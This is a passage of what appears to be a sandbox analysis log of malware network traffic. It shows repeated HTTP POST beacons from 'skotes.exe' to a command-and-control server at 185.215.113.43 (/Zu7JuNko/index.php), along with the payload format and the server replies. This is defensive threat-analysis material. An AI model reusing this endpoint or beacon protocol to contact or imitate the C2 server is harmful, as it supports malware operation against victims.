Nov 23, 2024 03:26:09.077528954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50262	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:10.822855949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:12.154021978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50263	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:13.781609058 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:15.220998049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50264	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:16.959850073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:18.336637974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50265	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:19.979449034 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:21.408746958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50266	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:23.158328056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:24.555578947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50267	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:26.196480989 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:27.578706980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50268	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:29.314610958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:30.644797087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50269	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:32.273060083 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:33.710150003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50270	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:35.450937033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50271	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:38.307708025 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:39.688170910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	50273	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:41.426390886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:42.755665064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	50274	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:44.383042097 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:45.821193933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	50275	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:47.560309887 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:48.936223984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	50276	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:50.577322006 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:51.971067905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	50277	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:53.715775013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:26:55.092391968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:56.734165907 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:26:58.162194967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50279	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:26:59.913321018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:01.292639971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50280	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:02.930366039 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:04.276129007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50281	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:06.028876066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:07.417711973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50282	185.215.113.43	80	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:09.046200991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:10.438281059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50283	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:12.186534882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:13.618618011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50284	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:15.264873981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:16.687860012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50285	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:18.423510075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:27:19.799479961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50286	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:21.441358089 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:27:22.837646008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50287	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:27:24.584743977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
